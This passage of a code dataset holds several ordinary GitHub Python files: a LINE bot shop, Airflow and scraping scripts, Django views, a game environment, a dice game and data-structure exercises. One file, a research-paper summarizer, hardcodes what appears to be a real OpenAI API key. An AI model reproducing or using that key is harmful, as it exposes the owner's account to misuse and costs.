payment.',\n actions=[\n URIAction(label='Pay NT${}'.format(order.amount),\n uri=pay_web_url)\n ]))\n\n line_bot_api.reply_message(event.reply_token, [message])\n\n return 'OK'\n@handler.add(FollowEvent)\ndef handle_follow(event):\n #同樣取得user_id\n get_or_create_user(event.source.user_id)\n\n line_bot_api.reply_message(\n event.reply_token, TextSendMessage(text='Hi! 歡迎回到火星村')\n )\n\n@handler.add(UnfollowEvent)\ndef handle_unfollow():\n #先執行封鎖再解封會print出\n print(\"Got unfollow event\")\n\n#初始化產品資訊\n@app.before_first_request\ndef init_products():\n # init db\n result = init_db()#先判斷資料庫有沒有建立,如果還沒建立就會進行下面的動作初始化產品\n if result:\n init_data = [Products(name='無毒白蝦-博士好蝦預購中-(30-35尾600克)',\n product_image_url='https://i.imgur.com/0KinQXT.jpg',\n price=380,\n description='無毒白蝦-博士好蝦預購中-(30-35尾600克)'),\n Products(name='無毒白蝦-博士好蝦預購中-(40-45尾600克)',\n product_image_url='https://i.imgur.com/0KinQXT.jpg',\n price=300,\n description='無毒白蝦-博士好蝦預購中-(40-45尾600克)'),\n Products(name='無毒白蝦-博士好蝦預購中-(15-18尾300克)',\n price=200,\n product_image_url='https://i.imgur.com/0KinQXT.jpg',\n description='無毒白蝦-博士好蝦預購中-(15-18尾300克)')]\n db_session.bulk_save_objects(init_data)#透過這個方法一次儲存list中的產品\n db_session.commit()#最後commit()才會存進資料庫\n\nif __name__ == \"__main__\":\n #init_db()\n init_products()\n app.run()\n ","repo_name":"yanghebe/python","sub_path":"pay/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":11473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"9074864764","text":"def linearsearch(list1,key):\r\n list2 = []\r\n num = False\r\n for x in range(len(list1)):\r\n if key == list1[x]:\r\n num = True\r\n list2.append(x)\r\n if num == True:\r\n print(key,\"Key element is found at index:\")\r\n for x in list2:\r\n print(x)\r\n else:\r\n print(key,\"Key is not found\")\r\n#linear_search for duplicate value\r\n#if duplicate values are present in list\r\nlist1 = [12,98,54,66,44,88,56,44,77,33,20,44]\r\nprint(list1)\r\nkey = int(input(\"Enter the key element:\"))\r\nlinearsearch(list1,key)\r\n# DEBUG:\r\n","repo_name":"deepak0437/DS_Algo","sub_path":"Data_Structure/ds_program/LinearSearch2.py","file_name":"LinearSearch2.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30092843696","text":"import openai\r\n\r\n# Set up the OpenAI API client\r\nopenai.api_key = \"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\"\r\nwork = \"Give a detailed summary of \"\r\n\r\n# Set up the model and prompt\r\nmodel_engine = \"text-davinci-003\"\r\nprompt = input(\"Enter the research paper link:\")\r\nprompt=work + prompt\r\nprint(prompt)\r\n# Generate a response\r\ncompletion = openai.Completion.create(\r\n engine=model_engine,\r\n prompt=prompt,\r\n max_tokens=1024,\r\n n=1,\r\n stop=None,\r\n temperature=0.5,\r\n)\r\n\r\nresponse = completion.choices[0].text\r\nprint(response)\r\n\r\nf= open(\"Data/Summary_By_ChatGPT.txt\",\"w+\")\r\nf.write(response)\r\nf.close()","repo_name":"Vedant-K1/ResearchPaperSummarizer","sub_path":"PS5.py","file_name":"PS5.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4080930968","text":"\"\"\"\nIndia disease tracker example from: https://humansofdata.atlan.com/2018/06/apache-airflow-disease-outbreaks-india/\n\"\"\"\n\nimport pendulum\nfrom airflow import DAG\nfrom airflow.operators.python import PythonOperator\n\nfrom disease_utils import scrape_web, scrape_pdf, add_to_dataset\n\nBASE_DIR = \"/root/airflow_exploration/output\"\n\n\nwith DAG(\n dag_id='india_disease_v1',\n default_args={\n \"owner\": \"csprl\",\n \"depends_on_past\": False,\n \"start_date\": pendulum.datetime(2022, 3, 1, tz=\"UTC\"),\n \"provide_context\": True,\n },\n schedule_interval=\"0 0 * * 2\",\n max_active_runs=1,\n) as dag:\n task_scrape_web = PythonOperator(\n task_id=\"scrape_web\",\n python_callable=scrape_web,\n op_kwargs={'base_dir': BASE_DIR},\n dag=dag,\n )\n\n task_scrape_pdf = PythonOperator(\n task_id=\"scrape_pdf\",\n python_callable=scrape_pdf,\n op_kwargs={'base_dir': BASE_DIR},\n dag=dag,\n )\n\n task_add_to_dataset = PythonOperator(\n task_id=\"add_to_dataset\",\n python_callable=add_to_dataset,\n op_kwargs={'base_dir': BASE_DIR},\n dag=dag,\n )\n\ntask_scrape_web.set_downstream(task_scrape_pdf)\ntask_scrape_pdf.set_downstream(task_add_to_dataset)\n","repo_name":"csprl-nowigence/airflow_exploration","sub_path":"tut_disease/disease_dag.py","file_name":"disease_dag.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"12481583164","text":"import time\nfrom Motor import *\nfrom movement import * #to import turns\n\ndef square_movement():\n PWM = Motor()\n PWM.setMotorModel(0,0,0,0) # Stop motors initially\n\n # Move the robot in a square\n for i in range(4):\n # Move forward\n PWM.setMotorModel(-1000,-1000,-1000,-1000)\n time.sleep(1)\n\n #Stop before turning\n stoprover(1)\n\n # Turn left\n leftpointturn()\n\n # Stop\n stoprover(1)\n \n PWM.setMotorModel(0,0,0,0) # Stop motors after the square is complete\n \nif __name__ == '__main__':\n square_movement()","repo_name":"DroneVideo/freenove-rover-codes-2023","sub_path":"Freenove Starter Code/Server/Sp23-Square_Path.py","file_name":"Sp23-Square_Path.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"31687836067","text":"from django.shortcuts import render\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse\nfrom django.contrib.auth.decorators import login_required\nfrom .forms import CourtForm\nfrom .models import Court\n\n\n@login_required # Ensure that only logged-in users can create a court\ndef create_court(request):\n if request.method == 'POST':\n form = CourtForm(request.POST,\n request.FILES) # Pass in request.FILES if your form includes file upload like images\n if form.is_valid():\n court = form.save(commit=False) # Create Court instance but don't save to DB yet\n court.owner = request.user # Set the current user as the owner\n court.save() # Save Court instance to DB with owner\n return HttpResponseRedirect(reverse('courts:main_court_view')) # Redirect to court's main view after saving\n else:\n form = CourtForm()\n\n return render(request, 'courts/create_court.html', {'form': form})\n\n@login_required\ndef main_court_view(request):\n return render(request, 'courts/1courts.html')\n\n@login_required\ndef court_list(request):\n courts = Court.objects.all() # Fetch all courts initially\n\n # Implementing Search\n search_query = request.GET.get('search', '')\n if search_query:\n courts = courts.filter(name__icontains=search_query)\n\n # Implementing Sorting (example: sorting by name)\n sort_by = request.GET.get('sort', 'name')\n courts = courts.order_by(sort_by)\n\n return render(request, 'courts/list_court.html', {'courts': courts, 'search_query': search_query})","repo_name":"IgnasKam/sportsmatchme","sub_path":"courts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16673878048","text":"# test\nflag = 11 < 9\n\nprint(f\"flag{flag},{type(flag)}\")\n\nif flag:\n print(\"1\")\n# elif not flag:\n# print(\"2\")\nelse:\n print(\"3\")\nprint(\"4\")\n\ni = 0\nwhile i < 5:\n print(\"88\")\n i += 1\n\nstr = '887883'\nfor x in str:\n print(x)\n\n\ndef test1(r):\n print(r)\n test2()\n\n\ndef test2():\n print(11)\n\n\ntest1(\"999\")\n\nnum = 100\n\n\ndef fun_1(r):\n print(r)\n fun_2()\n\n\ndef fun_2():\n global num\n num += 1\n print(num)\n\n\nfun_1(num)\nprint(num)\n\n\n\n","repo_name":"BigRootMasters/python_learn","sub_path":"learn/learn_day/day1.py","file_name":"day1.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"28608727661","text":"import scrapy\n\nfrom news_spider.utils.page_util import check_link, parse_detail\n\n\nclass NewChinaSpider(scrapy.Spider):\n name = 'news_china'\n source = \"中华网\"\n allowed_domains = ['news.china.com', 'sports.china.com']\n start_urls = ['http://news.china.com/',\n \"https://news.china.com/international/index.html\",\n \"https://news.china.com/social/index.html\",\n \"https://sports.china.com/\",\n \"https://military.china.com/\",\n \"https://finance.china.com/\",\n \"https://news.china.com/news100/\",\n \"https://news.china.com/zw/\",\n \"https://news.china.com/beijing2022/\"]\n\n def parse(self, response):\n \"\"\"获取页面所有链接,并进入提取内容\"\"\"\n a_tags = response.css('a')\n # 遍历每个 标签,获取链接和文本\n for a_tag in a_tags:\n try:\n link = a_tag.attrib['href']\n except Exception as e:\n # print(e)\n continue\n # 不存在返回\n if link.startswith(\"//\"):\n link = \"https:\" + link\n exclude = ['index', 'general', 'licence']\n include = [\"html\"]\n if not check_link(link, include, exclude):\n continue\n # print(link)\n yield scrapy.Request(link, callback=self.parse_page, encoding=\"utf-8\", dont_filter=True)\n\n def parse_page(self, response):\n channel = response.xpath('//div[@id=\"chan_breadcrumbs\"]/a[1]/text()').extract_first()\n if not channel:\n if \"social\" in response.url:\n channel = \"社会\"\n elif \"military\" in response.url:\n channel = \"军事\"\n elif 'ent' in response.url:\n channel = \"娱乐\"\n elif 'finance' in response.url:\n channel = \"财经\"\n else:\n self.logger.warning(f\"没找到频道:{response.url}\")\n response.meta[\"source\"] = self.source\n response.meta[\"channel\"] = channel\n yield parse_detail(response, self.crawler.redis_client)\n\n","repo_name":"ChenZixinn/news_spider","sub_path":"news_spider/spiders/news_china.py","file_name":"news_china.py","file_ext":"py","file_size_in_byte":2180,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"7225576026","text":"import os\nimport sys\n\nprj_path = os.path.join(os.path.dirname(__file__), '..')\nif prj_path not in sys.path:\n sys.path.append(prj_path)\n\nimport argparse\nimport torch\nfrom thop import profile\nfrom thop.utils import clever_format\nimport time\nimport importlib\nimport copy\n\ndef parse_args():\n \"\"\"\n args for training.\n \"\"\"\n parser = argparse.ArgumentParser(description='Parse args for training')\n # for train\n parser.add_argument('--script', type=str, default='litetrack', choices=['litetrack'],\n help='training script name')\n parser.add_argument('--config', type=str, default='B4_cae_center_got10k_ep100', help='yaml configure file name')\n args = parser.parse_args()\n\n return args\n\n\ndef evaluate_vit(model, template, search):\n '''Speed Test'''\n use_fp16 = False\n if use_fp16:\n template = template.half()\n search = search.half()\n # template_bb = template_bb.half()\n model_ = copy.deepcopy(model)\n device = torch.device(0)\n with torch.autocast(device.type, enabled=use_fp16):\n macs1, params1 = profile(model, inputs=(template, search),\n custom_ops=None, verbose=False)\n macs, params = clever_format([macs1, params1], \"%.3f\")\n print('MACs: ', macs)\n print('Params: ', params)\n \n T_w = 200\n T_t = 500\n torch.cuda.synchronize()\n with torch.autocast(device.type, enabled=use_fp16):\n with torch.no_grad():\n # overall\n for i in range(T_w):\n _ = model_(template, search)\n start = time.time()\n for i in range(T_t):\n _ = model_(template, search)\n torch.cuda.synchronize()\n end = time.time()\n avg_lat = (end - start) / T_t\n print(\"Average latency: %.2f ms\" % (avg_lat * 1000))\n print(\"FPS: %.2f\" % (1. / avg_lat))\n\n\n\n\nif __name__ == \"__main__\":\n device = \"cuda:0\"\n torch.cuda.set_device(device)\n # Compute the Flops and Params of our STARK-S model\n args = parse_args()\n '''update cfg'''\n yaml_fname = 'experiments/%s/%s.yaml' % (args.script, args.config)\n config_module = importlib.import_module('lib.config.%s.config' % args.script)\n cfg = config_module.cfg\n config_module.update_config_from_file(yaml_fname)\n '''set some values'''\n bs = 1\n z_sz = cfg.DATA.TEMPLATE.SIZE\n x_sz = cfg.DATA.SEARCH.SIZE\n\n if args.script == \"ostrack\":\n model_module = importlib.import_module('lib.models')\n model_constructor = model_module.build_ostrack\n model = model_constructor(cfg, training=False)\n # get the template and search\n template = torch.randn(bs, 3, z_sz, z_sz)\n template_bb = torch.tensor([[0.5,0.5,0.5,0.5]])\n \n # template = torch.randn(bs, 64, 768)\n search = torch.randn(bs, 3, x_sz, x_sz)\n # transfer to device\n model = model.to(device)\n model.eval()\n template = template.to(device)\n search = search.to(device)\n template_bb = template_bb.to(device)\n evaluate_vit(model, template, search, template_bb)\n \n\n if args.script == \"litetrack\":\n model_module = importlib.import_module('lib.models')\n model_constructor = model_module.build_LiteTrack\n model = model_constructor(cfg, training=False)\n\n # get the template and search\n \n # template = torch.randn(bs, 3, z_sz, z_sz)\n # template_bb = torch.tensor([[0.5,0.5,0.5,0.5]])\n template = torch.randn(bs, 64, 768)\n search = torch.randn(bs, 3, x_sz, x_sz)\n\n # transfer to device\n model = model.to(device)\n model.eval()\n template = template.to(device)\n search = search.to(device)\n\n evaluate_vit(model, template, search)\n\n\n\n else:\n raise NotImplementedError\n","repo_name":"TsingWei/LiteTrack","sub_path":"tracking/profile_model.py","file_name":"profile_model.py","file_ext":"py","file_size_in_byte":3835,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"72"} +{"seq_id":"14898523955","text":"import pickle\nimport random\nimport numpy as np\nfrom gym_env.ipd.base import Base\nfrom gym.spaces import Discrete, Tuple\nfrom misc.utils import to_onehot\n\n\nclass IPDEnv(Base):\n \"\"\"Base class for two agent prisoner's dilemma game\n Possible actions for each agent are (C)ooperate and (D)efect\n\n Args:\n args (argparse): Python argparse that contains arguments\n\n References:\n https://github.com/alexis-jacq/LOLA_DiCE/blob/master/envs/prisoners_dilemma.py\n \"\"\"\n def __init__(self, args):\n super(IPDEnv, self).__init__(args)\n\n self.observation_space = [Discrete(5) for _ in range(2)]\n self.states = np.arange(start=1, stop=5, step=1, dtype=np.int32)\n self.action_space = Tuple([Discrete(2) for _ in range(2)])\n\n self._set_payoff_matrix()\n self._set_states_dict()\n\n def reset(self):\n obs = np.zeros(self.args.traj_batch_size, dtype=np.int32)\n obs = to_onehot(obs, dim=5)\n return obs\n\n def step(self, actions):\n state = self._action_to_state(actions)\n assert len(state.shape) == 1, \"Shape should be (traj_batch_size,)\"\n\n # Get observation\n obs = self.states[state]\n obs = to_onehot(obs, dim=5)\n\n # Get reward\n rewards = []\n for i_agent in range(2):\n rewards.append(self.payoff_matrix[i_agent][state])\n\n # Get done\n done = False\n\n return obs, rewards, done, {}\n\n def render(self, mode='human', close=False):\n raise NotImplementedError()\n\n @staticmethod\n def sample_personas(is_train, is_val=True, path=\"./\"):\n path = path + \"pretrain_model/IPD-v0/\"\n\n if is_train:\n with open(path + \"defective/train\", \"rb\") as fp:\n defective_personas = pickle.load(fp)\n with open(path + \"cooperative/train\", \"rb\") as fp:\n cooperative_personas = pickle.load(fp)\n return random.choices(defective_personas + cooperative_personas, k=1)\n else:\n if is_val:\n with open(path + \"defective/val\", \"rb\") as fp:\n defective_personas = pickle.load(fp)\n with open(path + \"cooperative/val\", \"rb\") as fp:\n cooperative_personas = pickle.load(fp)\n else:\n with open(path + \"defective/test\", \"rb\") as fp:\n defective_personas = pickle.load(fp)\n with open(path + \"cooperative/test\", \"rb\") as fp:\n cooperative_personas = pickle.load(fp)\n return defective_personas + cooperative_personas\n","repo_name":"dkkim93/meta-mapg","sub_path":"gym_env/ipd/ipd_env.py","file_name":"ipd_env.py","file_ext":"py","file_size_in_byte":2593,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"72"} +{"seq_id":"21307101770","text":"import unittest\nimport os\nfrom imdb_scraper.scraper import create_connection, get_quotes, main\nfrom imdb_scraper.search import search_quotes\n\n\nclass TestScraper(unittest.TestCase):\n # Test cases for the scraper module.\n\n def setUp(self):\n # Set up the test environment.\n self.test_db = \"test_quotes.db\"\n self.movie_id = \"tt0111161\"\n\n def test_create_connection(self):\n # Test the create_connection function.\n conn = create_connection(self.test_db)\n self.assertIsNotNone(conn)\n conn.close()\n\n # Clean up by removing the test database file.\n os.remove(self.test_db)\n\n def test_get_quotes(self):\n # Test the get_quotes function.\n url = f\"https://www.imdb.com/title/{self.movie_id}/quotes\"\n quotes = get_quotes(url)\n\n # Test if the quotes are returned as a list and if the list is not empty.\n self.assertIsInstance(quotes, list)\n self.assertGreater(len(quotes), 0)\n\n def test_main(self):\n # Test the main function of the scraper module.\n main(self.movie_id)\n conn = create_connection(\"quotes.db\")\n\n # Test if the scraped quotes are stored in the database.\n results = search_quotes(conn, movie_title=self.movie_id)\n self.assertGreater(len(results), 0)\n conn.close()\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"cwwp671/imdb_scraper","sub_path":"tests/test_scraper.py","file_name":"test_scraper.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"6213896619","text":"from itertools import product # pip install itertools\nfrom collections import OrderedDict\nimport math\nimport json\nimport random\nimport os\nimport sqlite3\nimport datetime\n\n# Dice settings\ndiceFaces = 6\ndiceSmallestNumber = 1\ndiceHighestNumber = 6\ndiceAmount = 3\n\n# Files\nfileResults = \"results.json\"\nfileRules = \"rules.txt\"\ndb_name = \"einhorn_game_log.db\"\n\n# Game\nscores = None\n\ndef show_dice():\n\n print(\"\"\" _______.\n ______ | . . |\\\n / /\\ | . |.\\\n / ' / \\ | . . |.'|\n /_____/. . \\ |_______|.'|\n \\ . . \\ / \\ ' . \\'|\n \\ . . \\ / \\____'__\\|\n \\_____\\/\n NEW GAME \"\"\")\n\ndef createStatFiles():\n # Counter\n Dreifaltigkeit = 0\n Wunsch = 0\n Unvermeidlich = 0\n Einhorn = 0\n\n # Create a list of all possible roll attempts\n rolls = list(product(range(diceSmallestNumber,diceHighestNumber+1), repeat=diceAmount))\n\n results = []\n\n for roll in rolls:\n # Prepare list\n removedDoubleRoll = tuple(OrderedDict.fromkeys(roll).keys())\n sortedRoll = list(removedDoubleRoll)\n sortedRoll.sort() \n\n # Create a dictionary to store the result of each roll\n result = {\"roll\": roll}\n\n # Determine the outcome and add it to the result dictionary\n if len(sortedRoll) == 2:\n result[\"outcome\"] = \"Wunsch\"\n Wunsch += 1\n elif len(sortedRoll) == 1:\n result[\"outcome\"] = \"Dreifaltigkeit\"\n Dreifaltigkeit += 1\n else:\n if (sortedRoll[1]-sortedRoll[0]==1) or (sortedRoll[2]-sortedRoll[1]==1):\n result[\"outcome\"] = \"Das Unvermeidliche\"\n Unvermeidlich += 1\n else:\n result[\"outcome\"] = \"Einhorn\"\n Einhorn += 1\n\n # Add the result to the results list\n results.append(result)\n\n # Write the results to a JSON file\n with open(fileResults, 'w') as f:\n json.dump(results, f)\n\n PrintStats(rolls, Dreifaltigkeit, Wunsch, Unvermeidlich, Einhorn)\n\ndef PrintStats(rolls, Dreifaltigkeit, Wunsch, Unvermeidlich, Einhorn):\n with open(fileRules, 'w') as f:\n f.write(\"Total amount of possible rolls: {}\\n\".format(len(rolls)))\n f.write(\"Total amount of distinct rolls: {}\\n\".format(int((math.factorial(diceFaces+diceAmount-1))/(math.factorial(diceAmount)*(math.factorial(diceFaces-1))))))\n f.write(\"\\nDreifaltigkeit: {} ({:.1f}%)\\n\".format(Dreifaltigkeit, Dreifaltigkeit / len(rolls) * 100))\n f.write(\"Wunsch: {} ({:.1f}%)\\n\".format(Wunsch, Wunsch / len(rolls) * 100))\n f.write(\"Das Unvermeidliche: {} ({:.1f}%)\\n\".format(Unvermeidlich, Unvermeidlich / len(rolls) * 100))\n f.write(\"Einhorn: {} ({:.1f}%)\\n\".format(Einhorn, Einhorn / len(rolls) * 100))\n\ndef roll_dice():\n dice = [random.randint(1, diceFaces) for _ in range(3)]\n dice.sort()\n return tuple(dice)\n\ndef check_outcome(dice_roll):\n # Load the results from the JSON file\n with open(fileResults, 'r') as f:\n results = json.load(f)\n\n # Search for the dice roll in the results\n for result in results:\n if tuple(result['roll']) == dice_roll:\n return result['outcome']\n\n # If the dice roll was not found in the results\n return None\n\ndef play():\n # Clear the screen after every move\n os.system('cls' if os.name == 'nt' else 'clear')\n show_dice()\n\n # Get players and points\n scores = initialize_game()\n\n # Connect to the SQLite database (it will be created if it doesn't exist)\n conn = sqlite3.connect(db_name)\n c = conn.cursor()\n\n # Create a table for logs if it doesn't exist\n c.execute('''\n CREATE TABLE IF NOT EXISTS logs (\n id INTEGER PRIMARY KEY,\n game_id INTEGER,\n timestamp TEXT,\n player TEXT,\n prediction TEXT,\n result TEXT,\n reward INTEGER,\n dice1 INTEGER,\n dice2 INTEGER,\n dice3 INTEGER\n )\n ''')\n\n # Game loop\n while True:\n for player, score in scores.items():\n # Ask for the prediction\n print(f\"{player}, predict the outcome:\")\n print(\"[1] Wunsch\")\n print(\"[2] Das Unvermeidliche\")\n print(\"[3] Einhorn\")\n print(\"[4] Dreifaltigkeit\")\n prediction = input(\"Enter your prediction (1-4): \")\n\n # Map the prediction number to the corresponding outcome\n prediction_map = {\n '1': 'Wunsch',\n '2': 'Das Unvermeidliche',\n '3': 'Einhorn',\n '4': 'Dreifaltigkeit'\n }\n prediction = prediction_map.get(prediction, None)\n\n dice_roll = roll_dice()\n outcome = check_outcome(dice_roll)\n\n print(f\"The dice roll was {dice_roll} and the outcome was {outcome}. Your prediction was {prediction}.\")\n points = determine_points(outcome, prediction)\n print(f\"Points earned or lost: {points}\")\n\n # Update the player's score\n scores[player]['current_game'] += points\n\n # Update the unicorn status\n if outcome == 'Einhorn':\n # Reset unicorn status for all players\n for p in scores:\n scores[p]['has_unicorn'] = 0\n # Set unicorn status for the current player\n scores[player]['has_unicorn'] = 1\n\n # Insert a new row into the database\n c.execute('''\n INSERT INTO logs (game_id, timestamp, player, prediction, result, reward, dice1, dice2, dice3)\n VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)\n ''', (1, datetime.datetime.now(), player, prediction, outcome, points, dice_roll[0], dice_roll[1], dice_roll[2]))\n conn.commit()\n\n # Check if the player has 0 or less points\n if scores[player]['current_game'] <= 0:\n print(f\"{player} has 0 or less points. Game over.\")\n return\n\n conn.close()\n\n\ndef determine_points(outcome, prediction):\n # Define the points for each outcome and prediction\n points_table = {\n 'Das Unvermeidliche': {'correct': +2, 'wrong': -2, 'no_prediction': -1},\n 'Wunsch': {'correct': +2, 'wrong': -2, 'no_prediction': -1},\n 'Einhorn': {'correct': +5, 'wrong': -5, 'no_prediction': +1},\n 'Dreifaltigkeit': {'correct': 'WIN', 'wrong': +1, 'no_prediction': +5}\n }\n\n # Check if the prediction is correct, wrong, or if there was no prediction\n if prediction == outcome:\n return points_table[outcome]['correct']\n elif prediction is None:\n return points_table[outcome]['no_prediction']\n else:\n return points_table[outcome]['wrong']\n\ndef initialize_game():\n # Ask for the number of players\n num_players = input(\"Enter the number of players (1-6): \")\n while not num_players.isdigit() or int(num_players) < 1 or int(num_players) > 6:\n print(\"Invalid input. Please enter a number between 1 and 6.\")\n num_players = input(\"Enter the number of players (1-6): \")\n\n num_players = int(num_players)\n\n # Initialize a dictionary to keep track of the scores\n scores = {f'Player {i+1}': {'current_game': 6, 'previous_games': 0, 'roll': roll_dice(), 'has_unicorn': 0} for i in range(num_players)}\n\n # Determine the starting player\n starting_player = max(scores.items(), key=lambda x: x[1]['roll'])\n starting_player[1]['current_game'] = 7\n\n print(f\"{starting_player[0]} starts the game with 7 points. All other players start with 6 points.\")\n\n return scores\n\ndef menu():\n # Clear the screen \n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n\\.\n \\\\ .\n \\\\ _,.+;)_\n .\\\\;~%:88%%.\n (( a `)9,8;%.\n /` _) ' `9%%%?\n(' .-' j '8%%'\n `\"+ | .88%)+._____..,,_ ,+%$%.\n :. d%9` `-%*'\"'~%$.\n ___( (%C Einhorn `. 68%%9\n .\" \\7 ; C8%%)`\n : .\"-.__,'.____________..,` L. \\86' ,\n : L : : ` .'\\. '. %$9%)\n ; -. : | \\ \\ \"-._ `. `~\"\n `. ! : | ) > \". ?\n `' : | .' .' : |\n ; ! .' .' : |\n ,' ; ' .' ; (\n . ( j ( ` \\\\\n '\"\"' \"\"' `\"\" \n\"\"\")\n\n\n # Create files\n if not os.path.exists(fileResults) or not os.path.exists(fileRules):\n createStatFiles()\n\n while True:\n print(\"=\"*30 + \"\\n\" + \" \"*10 + \"MENU\" + \"\\n\" + \"=\"*30)\n print(\"[1] Play\")\n print(\"[2] View Replay\")\n print(\"[3] Delete Replays\")\n print(\"[4] Rules\")\n print(\"[5] Exit\")\n print(\"=\"*30)\n choice = input(\"Enter your choice: \")\n\n if choice == '1':\n play()\n elif choice == '2':\n replay_menu()\n elif choice == '3':\n delete_database()\n elif choice == '4':\n rules()\n elif choice == '5':\n print(\"Exiting the game.\")\n break\n else:\n print(\"Invalid choice. Please choose again.\")\n\ndef replay_menu():\n return None\n\ndef delete_database():\n return None\n\ndef rules():\n return None\n\nmenu()\n","repo_name":"FullByte/ASCIIgames","sub_path":"Einhorn/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10650962665","text":"import torch\nimport torchvision\nimport torchvision.transforms as transforms\nimport time\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom pathlib import Path\n\ntransform = transforms.Compose([\n transforms.RandomResizedCrop(224),\n transforms.ToTensor(),\n])\nnum_workers = 4\n\ntrainset = torchvision.datasets.CocoDetection(root=\"/home/aarati/datasets/coco/train2017\", \\\n annFile=\"/home/aarati/datasets/coco/annotations/instances_train2017.json\", \\\n transform=transform)\n\ntrainloader = torch.utils.data.DataLoader(trainset, batch_size=32, num_workers=num_workers, shuffle=True)\n\ntotal_time = 0\nall_times = []\nstart = time.time()\ndataiter = iter(trainloader)\nend = time.time()\n# Include the time needed to launch child processes\ntotal_time += (end-start)\n\nprint(len(trainloader))\n\nfor i in range(len(trainloader)):\n start = time.time()\n _, data = dataiter.next()\n end = time.time()\n total_time += (end-start)\n all_times.append(end-start)\n if i%100 == 0:\n print(i)\n\nprint(total_time)\nf = Path('/home/aarati/workspace/one_access/benchmarks/coco/measurements/pytorch_full_epoch_w{}.npy'.format(num_workers)).open('wb')\nnp.save(f, np.array(all_times))\nf.close()\n# 1 worker - Total time: 1378 ~ 23 min\n# 2 workers - Total time: 715s ~ 12 min\n# 4 workers - Total time: 413s ~ 6.8 min\n","repo_name":"aarati-K/one_access","sub_path":"benchmarks/coco/benchmark_pytorch.py","file_name":"benchmark_pytorch.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"40260411457","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nYen-Chi Chen\nClass: CS 521 - Spring 2\nDate: 12-April-2021\nHomework Problem #: 4.9.3\nDescription:\nThis program takes in one list of first names and one list of last names,\nreturn a dictionary from combining two lists.\n\"\"\"\n# Import sys module for exiting the program\nimport sys\n\n# Set constant first name list and last name list\nFIRST_NAME_LIST = ['Jane', 'John', 'Jack']\nLAST_NAME_LIST = ['Doe', 'Deer', 'Black']\n\ndef name_dict_factory(first_name, last_name):\n '''Create a dictionary by zipping last name list and first name list'''\n name_dict = dict(zip(last_name, first_name))\n # If two lists' length is unequal, quit the program\n if len(last_name) != len(first_name):\n sys.exit('The length of two lists are not equal, program exit now.')\n return name_dict\n\n# Print out the original first name list and last nmae list\nprint(f'First Names: {FIRST_NAME_LIST}')\nprint(f'Last Names: {LAST_NAME_LIST}')\n# Get the dictionary of two lists by calling dict factory function\nresult = name_dict_factory(FIRST_NAME_LIST, LAST_NAME_LIST)\nprint(f'Name Dictionary: {result}')\n \n","repo_name":"audrec/Information-System-in-Python","sub_path":"Week4/audrec_hw_4/audrec_hw_4_9_3.py","file_name":"audrec_hw_4_9_3.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"36546274567","text":"class Node:\n\n def __init__(self, value):\n self.value = value\n self.next = None\n\n\nclass LinkedList:\n\n def __init__(self, head= None):\n self.head = head\n\n def __str__(self) -> str:\n\n llString = \"Head --> \"\n\n node = self.head\n\n while node:\n llString = llString + str(node.value) + \" --> \"\n node = node.next\n\n return llString + \" None\"\n\n def push(self, value: int):\n\n new_node = Node(value)\n new_node.next = self.head\n self.head = new_node\n\n def length(self) -> int:\n\n long = 0\n temp = self.head\n while temp:\n long += 1\n temp = temp.next\n\n return long\n\n\nif __name__ == '__main__':\n\n # Creating Linked List\n ll = LinkedList()\n ll.push(1)\n ll.push(2)\n ll.push(3)\n ll.push(4)\n ll.push(5)\n\n print(ll)\n\n\ndef create_sample_linked_lists():\n # Creating Linked List\n ll1 = LinkedList()\n ll1.push(1)\n ll1.push(2)\n ll1.push(3)\n ll1.push(4)\n ll1.push(5)\n\n ll2 = LinkedList()\n ll2.push(5)\n ll2.push(4)\n ll2.push(3)\n ll2.push(2)\n ll2.push(1)\n\n ll3 = LinkedList()\n ll3.push(8)\n ll3.push(6)\n ll3.push(78)\n ll3.push(20)\n ll3.push(90)\n ll3.push(9)\n ll3.push(89)\n ll3.push(46)\n\n palindrome = LinkedList()\n palindrome.push(1)\n palindrome.push(2)\n palindrome.push(3)\n palindrome.push(3)\n palindrome.push(2)\n palindrome.push(1)\n\n '''\n Create two linked lists\n\n 1st 3->6->9->15->30\n 2nd 10->15->30\n\n 15 is the intersection point\n '''\n\n newNode = Node(10)\n head1 = newNode\n newNode = Node(3)\n head2 = newNode\n newNode = Node(6)\n head2.next = newNode\n newNode = 